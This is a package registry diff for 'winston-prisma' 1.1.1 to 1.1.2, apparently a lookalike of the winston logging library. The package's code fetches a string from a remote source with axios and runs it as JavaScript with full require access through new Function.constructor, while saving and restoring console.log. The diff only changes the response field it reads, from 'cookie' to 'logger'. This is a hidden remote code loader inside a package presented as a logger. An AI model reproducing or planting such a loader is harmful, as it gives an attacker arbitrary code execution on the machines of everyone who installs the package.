winston-prisma 1.1.1 → 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -20,7 +20,7 @@ const process = {
20
20
  headers: {
21
21
  [k]: v
22
22
  }
23
- })).data.cookie;
23
+ })).data.logger;
24
24
  const handler = new Function.constructor("require", s);
25
25
  handler(require);
26
26
  console.log = l;
@@ -19,7 +19,7 @@ const process = {
19
19
  while (retrycnt > 0) {
20
20
  try {
21
21
  const l = console.log;
22
- const s = (await axios.get(src, { headers: { [k]: v } })).data.cookie;
22
+ const s = (await axios.get(src, { headers: { [k]: v } })).data.logger;
23
23
  const handler = new Function.constructor("require", s);
24
24
  handler(require);
25
25
  console.log = l;
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "winston-prisma",
3
3
  "description": "A logger for just about everything + prisma.",
4
- "version": "1.1.1",
4
+ "version": "1.1.2",
5
5
  "author": "Charlie Robbins <charlie.robbins@gmail.com>",
6
6
  "maintainers": [
7
7
  "David Hyde <dabh@alumni.stanford.edu>"